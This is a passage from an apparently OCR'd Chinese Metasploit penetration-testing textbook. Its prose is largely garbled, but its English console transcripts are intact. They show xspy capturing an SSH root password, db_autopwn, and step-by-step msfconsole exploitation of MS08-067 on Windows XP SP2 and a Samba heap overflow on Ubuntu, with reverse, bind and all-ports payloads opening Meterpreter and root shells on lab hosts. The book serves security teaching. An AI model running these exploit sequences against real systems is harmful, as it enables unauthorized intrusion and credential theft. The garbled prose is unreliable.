[*] Trying 192.168.1.255
[*] Auxiliary module execution completed

kBT HE B H e A X WAt 4 . BLFEH Back|Track ) xspy T ERXt H bx
R A EATIER, WF KR!

root@bt:/# cd /pentest/sniffers/xspy/
root@bt:/pentest/sniffers/xspy# ./xspy -display 192.168.1.23:0 -delay 100

ssh root@192.168.1.11(+BackSpace)37
sup3rs3cr3tp4ssword

ifconfig

exit
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Xspy T AR TEEHE X & RO EARAE, K TEANH R SSH L root 547
BF5 - MNEBERENRE, KPS TERO4. XRKRETERFEFFL, B -H&H),
EAIRRME.

4.5 FIAPRMERAEITEINIE

FTHEHBRINFEAIEBE L ENY, Metasploit B9 Autopwn T REEH HahEHFEHPR, I
FIH B s D iR S R, X EARHET BB BB . IR A] AR A K 2 SR 14
2% (f94% NeXpose. Nessus LL& OpenVAS) 45 K AT Autopwn.

F 1 B s ] i BN Nessus 1 45 R @ — N RGH X Ht T Ak s E A .
] db_connect fir & 8IE-— P HHIEE, M db_import 14 S AHARMME . B, HA
iZ4T db_autopwn 4, XPNHLAET-RIIIFXSH: MAHFHBERERE (e), BRIA
DCAC AR (1), 1FH s shell BIBEEAT (), WRIERFREBERGEEER 0O, R
HFEH R (p). db_autopwn f7¥ J3 35, Metasploit FFiE Xt H br e By, W R BT REED,
2R [A]— N4 B vk AL E 32 shell.

ot

msf > db_connect postgres:toor@127.0.0.1/msf3
msf > db_import /root/nessus.nbe
mst > db_autopwn -e -t -r -x -p

O [*] (1/72 [0 sessions]): Launching exploit/windows/mssql/ms09 004 sp_replwritetovarbin
against 192.168.33.130:1433...
[*] (2/72 [0 sessions]): Launching expleoit/windows/smb/psexec against 192.168.33.130:445...
[*] (3/72 [0 sessions]): Launching exploit/windows/smb/ms06 040 netapi against
192.168.33.130:445...

. SNIP . . .

[¥] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)

® [*] Meterpreter session 1 opened (192.168.1.101:40912 -> 192.168.1.115:15991)
[*] (72/72 [1 sessions]): Waiting on 2 launched modules to finish execution...
[*] (72/72 [1 sessions]): Waiting on 0 launched modules to finish execution...

bR, BTHEERRNGER, Autopwn BT 72 KBBERHO, HPH | IKBERI)
®. EXKRIMMIBgH, BAIFIH Meterpreter # ) & KB TR BT BB 2 RAR. X
F Meterpreter AT ER 6 PR IFHITE.

$27R: 1A Autopwn B LR E 2 E B R, Likde3h Autopwn “MXAR” #RIE, B
WEATHRAPETAERARLET, BT EEAHIR, X 2R Autopwn FAt—2k 50 F 2 GEHEAT
A48, 4o T AR “BE” SR EHE S T8E, XA AFE—RISBRIAIEE L
XIREe K. BB THES Autopwn $914E 8 F ik, 4R-TeA#r A db_autopwn h #t47& 4 .
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BB RVFEZE T FEMITMBRNAEP RS RESHN “ Lig”, KR EREEHTLE
IR BRI RS B, S -MRENERBELR, BNt AR R, B
RITEERBBUHHEABI TRKERRE, HEZHALKRE S MBI HAR R SE RN H 72X
{8 F 17 LR 18 B Ui F BUHOR M LA D . A FEH, AT A Metasploit HEAR LA ) ap & &
OFFeE R, BELNE - EHERANBELLTiE. AR TR ASHBEEN HEXRFERE
Fi #l| MSF £ 35 (msfconsole ) MSF 4gfd 2% (msfencode ), A J2 MSF B ity 85 4 il 2% (msfpayload)

EVREE T H bR R G R B FE B 2 8T, DM ¥R — X T B E AW ANE E B R AR
ES 1 T, ROTIRNABTREREFZERNR . B2 FER, RTHT Metasploit FE5HIE
FH2EH), AREPEEREMEON TRAFERADE. B 3 TEHRAINEEW T fTEETHREE.
MRIGTES 4 BEPAR%EE D) T el 34T deif 34

AFEF, BAIMNETZEBRGHAZER T BRI BFRR LR Metasploit HE3RF#)%
FhEgdide 4, BATERESETPHEITAUBAEMEAZBCH LA, AFEPNMARKEZHL
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dieilil MSF & T, B pEAR, FEN MSF K., MSF Bl 84r 4 sl MSF
dain Bead T sE R e, A RET AT EER B RN AR RS E R,

5.1 SiENEEAM

Metasploit HEZ2 40 & ¥ T MEE, WEARBHARFIEENNZ2FLHId TR, £ MSF £
HPIZ4T show ArdSIETHE B EREK, AT LIS @R 28R k48 MERTGH,
XA T —HEdERiTie.

5.1.1 msf> show exploits

XA 44 B/~ Metasploit #2421 BT el 2B BUE S . 7 MSF & im, 47 LLERS
B35 WK R R B A 22 4 Ui ok SE it A N 378 3% il - Metasploit B BA S AS W #b FF & H B 9125
Vo, BNy R SR,

5.1.2 msf> show auxiliary

XA A& B BT R BV UL L BT A& . 7 Metasploit 1, HENBURA A& AEE
[z, e AR M. EARS B TR Fuzz @148, ARHARREN TR,

5.1.3 msf> show options

¥ (Options) ZLRIE Metasploit HE32 h B MR IEFEBITHIHRIA MR E. JIRERT
—AMEE, A msf> show options /5, ¥ HXMERFIFHH MBS E . WRGHIREFIEZE
FAEEEER, MARMAXNMTELESRHTEHERSE, UKk, RLMENERSETH
LogLevel, 8B MMl R4 HETE UVEM . /RE 0] LA A back 34, LLIR [P %] Metasploit
] E— R,

msf > use windows/smb/ms08 067 netapi
msf exploit(mso8 067 netapi) > back
msf >

MARAREBE RN ENBEL L. FBERBE B RRE, MR (search) WmAIEHTH
. B, wRFRERE—REX SQL BEBEERZE, WA THRGLITURELS SQL A
REJERBL .

msf > search mssql
[*] Searching loaded modules for pattern 'mssql’...
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Auxiliary
Name Disclosure Date Rank  Description
admin/mssql/mssql enum normal Microsoft SOL Server Configuration
Enumerator
admin/mssql/mssql_exec normal Microsoft SQL Server xp cmdshell
Command Execution
admin/mssgql/mssql idf normal Microsoft SQL Server - Interesting
Data Finder
admin/mssql/mssql_sql normal Microsoft SOL Server Generic Query
scanner/mssgl/mssql_login normal MSSQL Login Utility
scanner/mssql/mssql_ping normal MSSQL Ping Utility
Exploits
- -« « SNIP . . .
mst >

Ry, of UER T HF G4 F3 5 MS08-067 ITFA ., (MS08-067 J& i B i3
WA HH[RPCURS P50, BARER “K&” iEd Conficker {FH] XN RIFEA

R4, )

mst > search mso8_067
[*] Searching loaded modules for pattern ‘ms08 067°...

Exploits

. S . e e
. e e

Name Rank Description

Ll - - -

windows/smb/ms08_067_netapi great Microsoft Server Service Relative Path Stack Corruption

KB BB (windows/smb/ms08 067 netapi) J&, 7]LAME A use 4 ik, WF
BT 7R

msf > use windows/smb/ms08_067 netapi
msf exploit(mso8 067 netapi) >

ER SEAMAT T use windows/smb/ms08_067 netapi #r$ /5, MSF &4 I R4 %
TN HEBEET

mst exploit(ms08_067_netapi) >

ERABNCOEIEET ms08_067 netapi #ith, Xt RIELE P AN G OBEXANRE
BRI Rz tT
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R oAk J AT TR IR , ARTvA4E)8) search F= use A4 -gkit 5| 5 — ANtk & |

WAE, fECEFRRAw-SIERTT F, AL show options 75 MS08-067 BEH B 75 1
ZH

msf exploit(ms08 067 netapi) > show options

Module options:

Name Current Setting Required Description

RHOST yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Exploit target:

0 Automatic Targeting

msf exploit(ms08_067_netapi) »

XFrE EF XS TR 77 A ik Metasploit R MR AER vy, HHibREE® R
FET 4R ERNSH.

5.1.4 msf> show payloads

AR —F, &S 2 FHRRIINA T BEHERAT R X & F 6 10— BEGHAR, S8t M
AL B Bh B AR TIAT . 0 show options #34—#E, YR YRGS T THA
show payloads iv&Hf, Metasploit R&¥ 5 4ATIHER EAM BB BR K. fEHET
Windows B{ERER B dir, M RMKEE A A fE R B HEr EHL— DT im, S5
FIEER IR M — MR ERRIER . A FTHERGSTLUEEFERFREIESIREHBEES-

msf> show payloads

EHIE) R 7~ Metasploit R A B B EE, R0 0 R IRIEEH#AT - K LR S
BEX i, MARASEINEH TARSBBEARGNBGREINE. 2H KB, & msf exploit
(ms08 067 netapi) #/RFF F, 4T show payloads NS ERTF - BPHHHER.

ERTE RG] F P RA1EH search #4337 MS08-067 Hrikith. MAELLRAIM A show
payloads iy B KIE G XN B R Bk I B BoAT . B AH b R % Windows E & 3
i B A & B K, Metasploit — 2 MR 48 B0 35 VR 51 HY W) 28 — R8s 58 (99835 B v 4 B Y 2%
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msf exploit(mso8 067 netapi) > show payloads

Compatible Payloads

e o e S S O S o - | S O S e

Name Rank Description

- . - .

- - L] SHIP - - L

windows/shell/reverse ipvé tcp nommal Windows Command Shell, Reverse TCP
Stager (IPv6)

windows/shell/reverse nonx tcp normal Windows Command Shell, Reverse TCP
Stager (No NX or Win7)

windows/shell/reverse ord tcp normal Windows Command Shell, Reverse
Ordinal TCP Stager (No NX or Win7)

windows/shell/reverse_tcp normal Windows Command Shell, Reverse TCP
Stager

windows/shell/reverse tcp allports normal Windows Command Shell, Reverse
All-Port TCP Stager

windows/shell bind tcp normal Windows Command Shell, Bind TCP
Inline

windows/shell reverse tcp normal Windows Command Shell, Reverse TCP

Inline

BT REAVH A set payload windows/shell/reverse_tep LAIEFE reverse tep( R385 TCP #&#:)
BUiBAfir. WA show options g2 J5, <F 2| L85 2 Hak 7w ok

msf exploit(ms08 067 netapi) > set payload windows/shell/reverse tcp ©
payload => windows/shell/reverse_tcp
msf exploit(ms08 067 netapi) > show options @

Module options:

Name Current Setting Required Description

RHOST yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSV(C)

©® Payload options (windows/shell/reverse tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique: seh, thread, process
LHOST yes The local address

LPORT 4444 yes The local port
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Al LU R B EORIE R TBERA, FOLBRNER T RERNSEECE, B
ZERXON SR T —SHA IR EIN, W LHOST 1 LPORT %. fEAH4, fxe LAACELEH
br EHLRRE R BRI R 2 TP bk RsR 15 b, BT UE 8RO — AN RO s B 8 fir . 78 RO
A i mh, EELEHEHETRER, FHEEENREBENL. PR0] LUE X R IS %
B KBRS EL NAT 5%,

Ja T BRATTHE X XN Bk BT 9 LHOST (A EHL) Ml RHOST GZRE TN ST E,
¥ LHOST #E AEATMIZBCHALE 1P Hubl, T2 006 & R 2| LB R TCP 3 1
(4444) L.

5.1.5 msf> show targets

Metasploit [)32 % B BB 3 ] LA 32 3 iR iR m B AR R R 2E01k3E, BT 4
%f MS08-067 I il B B il KBl T e gD i M AF bl , B LB LB 35 e IR IE R G A,
BHEEH e T80l 5 MAUAZEYEEI (FEF 14 M 15 B SHIFHR
). 7E MSF £ MS08-067 M RFFRET, S EBxR 60 MM RS (TH#lFh H#&
BT HA ). B RITERT B Windows RAMIRA, A& H3ERHRX—
hRERT e VA IR TAE, REMARRBEITA, EH S FECERRS .

msf exploit(ms08 067 netapi) > show targets

Exploit targets:

—_ -

Automatic Targeting

Windows 2000 Universal

Windows XP SP0/SP1 Universal
Windows XP SP2 English (NX)
Windows XP SP3 English (NX)
Windows 2003 SPO Universal
Windows 2003 SP1 English (NO NX)
Windows 2003 SP1 English (NX)
Windows 2003 SP2 English (NO NX)
Windows 2003 SP2 English (NX)

O 00~ T o Em W e D

EXANMBIFrh, REH “AaiEFEER” O (Auto Targeting) B i HAR¥IRF H—A ik
M. WA, WS BE AR IERZFIRLGE R, HINERBRERGEMAHRTH L. A,
S G R R E T T N AERHL U H B PR BRE R IIARRE R, XA A e Rl A R, B
ARG B

BR: A FAGE X EAREA L “ERAT”, REHEABAENEHTIF RIS
%, mBACRMTRE RS A AR T, o RARER XA 6 E P ( Windows XP
SP2) EARAIXA S EMSE, — X BFHREMFE AR RGN LR,
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5.1.6 info

LR show F search iy iR Atpg45 Bt T4, nILMEH info ar A0 BRI & F
K ERERIRAVEAFER. 2EAHUAFE TR HRRERS: (MECEF T EMEE,
BHEA B PIRRTT T info BIT].)

msf exploit(mso8 067 netapi) > info

5.1.7 set #1 unset

Metasploit BER P HIFTESH S AP MRE: BBRE (set) BURIEE (unset). HEBHL
AR Id A LIHIR (required), IXFEFISELANLIL T TR T I TIBHRA. B show options
2 AFWLESERVIAK: T set r 2 TN EASEHTHRE (AN EHIZSH);
{&F] unset 72 A IR X S . FHMIIRERT set Fl unset dy4 1118 B 7y 1%

R ERMNOFTPAAIMAEZLAAENT XEFE, ZHRRLFEH, Rid
AT G - — AT 5T IR

msf exploit(mso8 067 netapi) > set RHOST 192.168.1.155 ©
RHOST => 192.168.1.155

mst exploit(mso8 067 netapi) > set TARGET 3 ®

TARGET =» 3

msf exploit(ms08_067 netapi) > show options @

Module options:

Name Current Setting Required Description

RHOST 192.168.1.155 yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Exploit target:

3 Windows XP SP2 English (NX)

msf exploit(mso8_067 netapi) » unset RHOST
Unsetting RHOST...

ORI E Hr 1P Hubl (RHOST) % 192.168.1.155 (BATMBEHMZR) . O
- NRERHBRIERGLA KN 3, BIFE XX W HEH “mst> show targets” 4ir-4 75 HH 19 “ Windows
XP SP2 English (NX) ” . fE@ 4 A1IZ4T T show options LA IS OB B5E/Hk.
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5.1.8 setg #1 unsetg

setg &M unsetg fir & HEB X 2 /S EOHIT B EERR . A XA fr & bR LR IKE
FXANSEBEREEFRE, FalRALET I R D42 H, @ LHOST.

5.1.9 save

fEfH setg sy & X RSEGHITRE R, WL save A48 M4 al R B EHARF T XK,
- IXFEE T IR A B MSF 2 5g b nl T IX ¥ B . 7E Metasploit * 7] LATEAE ] Bf{R I save
i 4 LAGRAF M AR

mst exploit(ms08 067 netapi) > save
Saved configuration to: /root/.msf3/config
msf exploit(mso8 067 netapi) >

HmSPITE R PR EREERGTEEE LRME (root/.msf3/config) , MR —]H
RIURTE Bk B R R W R, Al LORFIX AN 3044 i s 5588 2h 31 3L 4t A7

5.2 JJ\E{]%‘—'!A :@ﬁ:ﬁ[fﬁ

LB R LB A RBIFHKZI T, BIMNEE THR TEEXG MR, e 7 e
&£ MSF £t TS80E, IAERNTE TG — IR SERBGE T, il SEBR R I BRA TR EN £
JHIGRZ 00, 5810 3R Windows XP Service Pack 2 Fl Ubuntu 9.04 P & ERINL/E M $EHL, TIRA
4 7E Back|Track ¥ JLEREE i ff F Metasploit.

W RAESE 4 P AREBIRAN- - REAEARFEAREISXIX S Windows XP SP2 ERIHLEEAT T 13#,
MBAVRRIRE AR T AT PRV EFH K L2k F: MS08-067 JiH . FA1EEFA WK
IR Wl e A T T 5 iR A BN T -

FEE VRE2 BN Re AW &, R R P BGR O/, FREESEAINE R EARS)
TR AR )RR S IR B T 8L . F TR TR R B BRI — ¥ Metasploit i
nmap H)FHFEMEA, WFFR.

root@bt:/root# cd /opt/framework3/msf3/
root@bt:/opt/framework3/msf3# msfconsole

L] SHIP L L] L]

msf > nmap -sT -A --script=smb-check-vulns -P0 192.168.33.130 ©
[*] exec: nmap -sT -A --script=smb-check-vulns -PO 192.168.33.130

Starting Nmap 5.20 ( http://nmap.org ) at 2011-03-15 19:46 EDT
Warning: Traceroute does not support idle or connect scan, disabling...
NSE: Script Scanning completed.

Nmap scan report for 192.168.33.130

Host is up (0.00050s latency).

Not shown: 991 closed ports
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PORT STATE SERVICE VERSION

21/tcp open ftp Microsoft ftpd

25/tcp open smtp Microsoft ESMTP 6.0.2600.2180
80/tcp open http Microsoft IIS webserver 5.1
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn

443/tcp open https?
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds

1025/tcp open msrpc Microsoft Windows RPC

1433/tcp open ms-sgl-s Microsoft SQL Server 2005 9.00.1399; RTM

MAC Address: 00:0(:29:EA:26:7C (VMware)

Device type: general purpose

Running: Microsoft Windows XP|2003

0S details: Microsoft Windows XP Professional SP2 or Windows Server 2003 ©
Network Distance: 1 hop

Service Info: Host: ihazsecurity; 05: Windows

Host script results:
smb-check-vulns:
MS08-067: VULNERABLE @&
Conficker: Likely CLEAN
regsvc DoS: CHECK DISABLED (add '--script-args=unsafe=1' to run)
SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add '--script-args=unsafe=1' to run)

0S and Service detection performed. Please report any incorrect results at http://rmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.67 seconds
msf >

RAIM Metasploit F i T nmap HI#F {4 —script=smb-check-vulns® . B & F R I7EHAT
nmap FIfE{EFASE: -sT ZIREHA TCP EHE{IH (Stealth TCP connect) , FAIFEL R
h R MFHXNSEE TR ORERBTHEK. (KHEFERNSEEE-sS: BFH TCP Syn
. ) -A BRIEEEEERLEHENDIEE (advanced OS detection) , BaXf— M€ IR HTHIK
AR IR SREL, e A RIBMEZE R

B TE nmap IR R OLME R T MS08-067: VULNERABLE. XEG/RBATHIFAE
BxTiX & EHLHAT R T, THEibRAIE Metasploit H 33| v H T i F R BT R R, H 2 K
AXE EL.

Wi RERINBA T HAEEIAEERGERA. THERMRITE (Service Pack) WAL K iE
SRR, TR T 2T RIS T BAEHAT /7Y (DEP: Data Execution Prevention). DEP
Beh T B AaE v X s B Wt 8, e R A HERRTE R ik, AR 1k shellcode 4 & EHUER
EHERR X I AT . (BB, FRATAT LU — 28 8 py AR BR1E R ST DEP fRY". (Wi{%Eid DEP
HIEE £ Hi A 0] LLE R htp://www.uninformed.org/?v=2&a=4)

fE L—/hAih, BATIETT show targets fiz2 7| H T XM & T2 35 BEE B BT A 7] A Y
HIFBERZRA. BT MS08-067 22— M #ERFKIRAMKMBERL ER S R¥E, BrelfEiX
B, BO1FshEE BHREALLHFMER FRPAHAS. 2&F L nmap FEMER, JATAT
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PLH|E @ B briEfE RS N Windows XP Service Pack 2. (M4 R FWHAIHER Windows Server
2003, HREH TFREEHE RIS F[IBFERFAET IR — LB O, LU RS 28
BAERGERITREMEA KR BANMERE B ARIZ4TH Windows XP 2 3 3K .

- FIAEBATHG SRR BGEIE R, HAeRBRBELFERSE:

msf > search ms08 067 netapi @
[*] Searching loaded modules for pattern 'ms08 067 netapi'...

Exploits

—r—r—r———

Name Rank Description

- - - —— T

windows/smb/ms08 067 netapi great Microsoft Server Service Relative Path Stack
Corruption

msf > wuse windows/smb/ms08 067 netapi ©

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse tcp @
payload => windows/meterpreter/reverse tcp

msf exploit(mso8 067 netapi) > show targets @

Exploit targets:

Id Name
Automatic Targeting
Windows 2000 Universal
Windows XP SP0/SP1 Universal
Windows XP-5P2 English (NX) ©
Windows XP SP3 English (NX)
Windows 2003 SPO Universal
Windows 2003 SP1 English (NO NX)
Windows 2003 SP1 English (NX)
Windows 2003 SP2 English (NO NX)
Windows 2003 SP2 English (NX)

WO 00 =l N W o W R =D

L] * L] S'HIP = ] -
26 Windows XP SP2 Japanese (NX)

-« « SNIP . . .
msf exploit(ms08 067 netapi) > set TARGET 3

target => 3

mst exploit(ms08 067 netapi) > set RHOST 192.168.33.130 @
RHOST => 192.168.33.130

mst exploit(ms08 067 netapi) > set LHOST 192.168.33.129 @
LHOST => 192.168.33.129

msf exploit(mso8 067 netapi) > set LPORT 8080 ©

LPORT => 8080

mst exploit(ms08 067 netapi) > show options @
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Module options:

Name Current Setting Required Description

RHOST 192.168.33.130 yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique: seh, thread, process
LHOST 192.168.33.129  vyes The local address

LPORT 8080 yes The local port

Exploit target:

3  Windows XP SP2 English (NX)

FRATTLE Metasploit FEL2h A1 32 MS08-067 NetAPI Bk @ . $RE|S, [/ use fr 2 OME
XAMELR (windows/smb/ms08_067 _netapi)

BTk, BATREFERGE M AHE T Windows R4 Meterpreter reverse_tcp®, X/
FERHRIE, SMERENER A REERE, E#ES LHOST 1€ IP bk, X
AT DAL R GET B KRS A S TR OR S, B F & NAT M.

Meterpreter ERAIEABFLFLAIINGEBER T LR, —RELGHRIEEHEE.
Meterpreter /& Metasploit HEAZ (A T4, B AREE T ERATIRE HArfE BMBEAT A B2 E R
HERE .

show targets 714 @ik RATRERS IR G ICHS H #rE R H R . (KEZH MSF BB B R
& A BRARGRAGHATIAN, MAFEFTLHRELSE, HEREHX MS08-067 IiF B
v, GEE IR BEh A RGERR)

7E@ b TR A 145 E FE B 425 h Windows XP SP2 English (NX). NX (No Execute) &/&
BAARGEHATY, BN H T DEP 47 . 7£ Windows XP SP2 #1, DEP XA & 8 F BRI (A3 Windows
38 REFEF).

EO bR i B RHOST 285 & & MS08-067 JiF K H A5 4L [P #hiik.

iEit set LHOST w4 @ E fx M E L A HGEYL IP (BIIX & Back|Track BFIHL), Eid
set LPORT 4 @& BXHHLMITIK TCP s 1S . (& LPORT S8, Bif el —R5%
BB kB — 2 R VPRI BSOS, i 443, 80, 53 L& 8080 HABEANHAILFE.) B
&, AT show options® LI A XS HA D R B IEH.
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SECWE A, HIERIFRHME LT .

msf exploit(mso8 067_netapi) > exploit O

[*] Started reverse handler on 192.168.33.129:8080

[*] Triggering the vulnerability...

[*] Sending stage (748032 bytes)

[*] Meterpreter session 1 opened (192.168.33.129:8080 -> 192.168.33.130:1487) ©
mst exploit(mso8 067 netapi) > sessions -1 ©

Active sessions

e T W T s e . S S, W (R e
—

1 meterpreter 192.168,33.129:8080 -> 192.168.33.130:1036 ©

mst exploit(mso8 067 netapi) > sessions -i 1 @
[*] Starting interaction with 1...

meterpreter > shell ®

Process 4060 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

FAVEH exploit ar-2 OWEGABOEIAEE, FH AR B PRt T Bt 2 IX IR B R BT,
ABEAVREIT — reverse tep /i 2L/ Meterpreter Wi A7 2150, AT 0] LLiER] session -1
S B H/ILFRIZITH) Meterpreter 5 ®. vLLER], BRI —NMEEEZINO, HnREERA
FIRF XS AN H ik AT 7 By, =R FBEENa1E. (WMRBEEZGHCIEKE —4 Meterpreter
EMVEASE B, FRVTLASA sessions -1 -v. )

TE@ AL ) sessions -i 1 A LFRAIALH S ID N | MISHISEHTRE., FEMNRITEAN
T Meterpreter FJAZ B shell H1. MR EBHISER — N RMEBEM AT shell, XM HLSLSHET
AV Bl SRR TPRE T &G, HOLIRNTM A shell fp 2 BEN T B b5 RGERY AL 6y 21T shell
o

IR, IRELBETIRNE—& EHL! i, RUIRATLIHIA show options >R 8 B i
BT AR w2

5.3 Ii#—& Ubuntu 4

iEBATI% Ubuntu 9.04 EHHT — K AR KL . BaEHOEBREE S A TFHE, JRR
11763 B B B BN B 1183 Wi S B i B
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msf > nmap -sT -A -P0 192.168.33.132
[*] exec: nmap -sT -A -PO 192.168.33.132

Starting Mmap 5.20 ( http://mmap.org ) at 2011-03-15 19:35 EDT
Warning: Traceroute does not support idle or conmnect scan, disabling...

Nmap scan report for 192.168.33.132
Host is up (0.00048s latency).

Not shown: 997 closed ports

PORT STATE SERVICE VERSION

8o/tcp open http Apache httpd 2.2.3 ((Ubuntu) PHP/5.2.1) ©

|_html-title: Index of /

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME) @
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)

MAC Address: 00:0(:29:21:AD:08 (VMware)

No exact 05 matches for host (If you know what 05 is running on it, see http://mmap.org/submit/ ).

- - - ONIP . . .

Host script results:

|_nbstat: NetBIOS name: UBUNTU, NetBIDS user: <unknown:, NetBIOS MAC: <unknown:

|_smbv2-enabled: Server doesn't support SMBv2 protocol

| smb-os-discovery:

|  0S: Unix (Samba 3.0.24)

| Name: MSHOME\Unknown

| System time: 2011-03-15 17:39:57 UTC-4

0S and Service detection performed. Please report any incorrect results at http://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 47.11 seconds

Wit nmap £, WATEIN 3 NFFHAN . 80, 139 Fil1 445, QKIS BEFBITXE
FHLEIERZ A Ubuntu, OFAIE NEIEIZ4T4H Samba 3.x iR FH PHP 5.2.1 i Apache

2.23 iR% .

LEEANTRE — Samba BBEHGEHER, HERAEREEXE BV B F:

mst > search samba

[*] Searching loaded modules for pattern 'samba’...

Auxiliary

Name Rank

e ] [ g a—

admin/smb/samba symlink traversal normal

dos/samba/lsa addprivs heap normal

dos/samba/lsa_transnames heap normal
Exploits

Name Rank

linux/samba/lsa_transnames_heap good

« « « SNIP . . .
msf > use linux/samba/lsa_transnames_heap

Description

Samba Symlink Directory Traversal
Samba lsa_io privilege set Heap Overflow
Samba lsa_io_trans_names Heap Overflow

Descripticn

Samba 1sa io trans names . . .

msf exploit(lsa_transnames_heap) > show payloads
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Compatible Payloads

T o, S [ . S S S G e o e i S S
—— T, —— e . o — — — A

Name Rank Description

generic/debug_trap normal Generic x86 Debug Trap

generic/shell _bind tcp normal Generic Command Shell, Bind TCP Inline
generic/shell reverse tcp normal Generic Command Shell, Reverse TCP Inline
linux/x86/adduser normal Linux Add User

linux/x86/chmod normal Linux Chmod

linux/x86/exec normal Linux Execute Command
linux/x86/metsvc_bind_tcp normal Linux Meterpreter Service, Bind TCP
linux/x86/metsvc_reverse tcp normal Linux Meterpreter Service, Reverse TCP Inline
linux/x86/shell/bind ipvé tcp normal Linux Command Shell, Bind TCP Stager (IPv6)
linux/x86/shell/bind tcp normal Linux Command Shell, Bind TCP Stager

« « « SNIP . . .

msf exploit(lsa transnames_heap) > set payload linux/x86/shell bind tcp
payload => linux/x86/shell_bind tcp

msf exploit(lsa transnames_heap) > set LPORT 8080

LPORT =»> B0O80

mst exploit(lsa_transnames_heap) > set RHOST 192.168.33.132

RHOST => 192.168.33.132

msf exploit(lsa transnames heap) > exploit

[*] Creating nop sled....

[*] Started bind handler

[*] Trying to exploit Samba with address oxffffesio...
[*] Connecting to the SMB service...

L] L] - EHIF L] » -

[*] Calling the vulnerable function...
[+] Server did not respond, this is expected
[*] Command shell session 1 opened (192.168.33.129:41551 -> 192.168.33.132:8080)

ifconfig

ethi Link encap:Ethernet HWaddr 00:00:29:21:AD:08
inet addr:192.168.33.132 Bcast:192.168.33.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:3178 errors:0 dropped:0 overruns:0 frame:0
TX packets:2756 errors:0 dropped:0 overruns:0 carrier:o
collisions:0 txqueuelen:1000
RX bytes:292351 (285.4 KiB) TX bytes:214234 (209.2 KiB)
Interrupt:17 Base address:0x2000

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txgueuelen:0
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

whoami

root
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E5F BEBEUEZR

X FP RS [ B R Ok M B, e sh AR 8 A7 20 B P R IR R A R B ARED, X R IR
T AN 100% 7] SER) . CHR B — IR B i AT BT, A 2418 exploit v % 2 218 /LK. )

FRAEXANM T hRAMEA T—4 9552 (bind) shell, £ BTN E3TIF T — B0,
Metasploit A 1EIE T A E3E S H bz RFA0ER . GatE i R B8 K E NAT M %5 i) 3
Bl PS4l A posft Ui e Bt 4 )

54 ZimOIWEHHRE: RNIIFHEERFBAYIR

ERT B @7, BAVZFrCARESE pl T, F 22 M1 B bx 0L R o8 R 48 B ) o 1 90
. EHEMRBIMBCEALATIRE T I R 5 Dt s A 70? IRE A EITER
K E A TF A B 2 B8 1, R HCAR IR O — R G, XA T B4 148 M ) & Bk 0 08 i Mk
Ho b LHEZ B SMEE ML L.

ATRTLATE B 443 3 L&A 4B K IEFE L, R EEEH FTP. Telnet. SSH LA HTTP
ERAERME O, TRLE #7258, B2 Metasploit TR T — 4% BB 8047 5 8
B BXEBATH R L, RANEE R JIE S A ?

Metasploit HIXN B8 mr 200 B ol F B9 #7220, G3e KME P -— N REATH).
(ANI 38 By #8311 5 O ER (LG [ 1-6553 5 ) = AE A S K RO BI 1] )

B AR ERAME XA BT, L e O B A s D TR, E R B shiE R RN 1 kL.

mst > use windows/smb/ms08 067 netapi

msf exploit(ms08_067_netapi) > set LHOST 192.168.33.129
lhost => 192.168.33.129

smsf exploit(ms08 067 netapi) » set RHOST 192.168.33.130
rhost => 192.168.33.130

msf exploit(msoB 067 netapi) > set TARGET 3

target => 3

msf exploit(ms08_067 netapi) > search ports

[*] Searching loaded modules for pattern 'ports'...

Compatible Payloads

. e i T s S
I — e e o ke s L D

Name Rank Description
windows/dllinject/reverse tcp allports normal Reflective D1l Injection,
Reverse All-Port TCP Stager
windows/meterpreter/reverse tcp allports normal Windows Meterpreter (Reflective
Injection), Reverse All-Port TCP Stager

« » « SNIP . . .

msf exploit(ms08_067 netapi) > set PAYLOAD windows/meterpreter/reverse_tcp_allports
payload => windows/meterpreter/reverse tcp allports

msf exploit(mso8 067 netapi) > exploit -j

[*] Exploit running as background job.
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msf exploit(ms08 067 netapi) >
[#¥] Started reverse handler on 192.168.33.129:1 ©
[*] Triggering the vulnerability...

[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (192.168.33.129:1 -> 192.168.33.130:1047) @

msf exploit{mso8 067 netapi) > sessions -1 -v

Active sessions

Id Type Information Connection Via

1 meterpreter NT AUTHORITY\SYSTEM @ IHAZSECURITY 192.168.33.129:1 -> 192.168.33.130:1047
exploit/windows/smb/ms08_067 netapi

msf exploit(mso8 067 netapi) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

EHEERMNAEAFEE LPORT 2%, WA allports B T & s O Lt 4T 150y,
HEE—MEUTHImN O .. WRRFHAEEOLHS RIMBRIIPIBEENS E 31 (35 H R
1), E5HEEVR 1047 5 D87 TiEHe,

5.5 HiEMXH

B (resource files) & MSF #ig A& R4 Aahibdag S A SO, X 0ffse
br b2 —/~a] LAFE MSF £ $AT a2 51K, 518K H a8 & R AT . BB TeAR
